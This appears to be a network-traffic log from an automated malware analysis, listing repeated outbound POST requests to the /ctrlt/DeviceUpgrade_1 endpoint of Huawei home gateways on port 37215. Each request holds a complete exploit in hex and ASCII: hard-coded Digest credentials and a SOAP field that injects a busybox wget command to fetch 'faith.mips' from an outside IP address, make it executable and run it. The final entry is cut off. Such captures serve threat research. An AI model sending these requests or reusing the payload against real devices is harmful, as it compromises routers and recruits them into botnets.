Nov 19, 2023 09:17:23.903273106 CET	2769	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:17:31.838114977 CET	2983	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.23	53072	156.247.27.96	37215

Timestamp	kBytes transferred	Direction	Data
Nov 19, 2023 09:17:24.881561041 CET	2818	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:17:26.494952917 CET	2846	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:17:28.414747953 CET	2875	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:17:32.350141048 CET	2986	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:17:40.028970003 CET	3219	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	156.247.27.96	37215	192.168.2.23	53072

Timestamp	kBytes transferred	Direction	Data
Nov 19, 2023 09:17:24.881561041 CET	2818	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:17:26.494952917 CET	2846	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:17:28.414747953 CET	2875	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 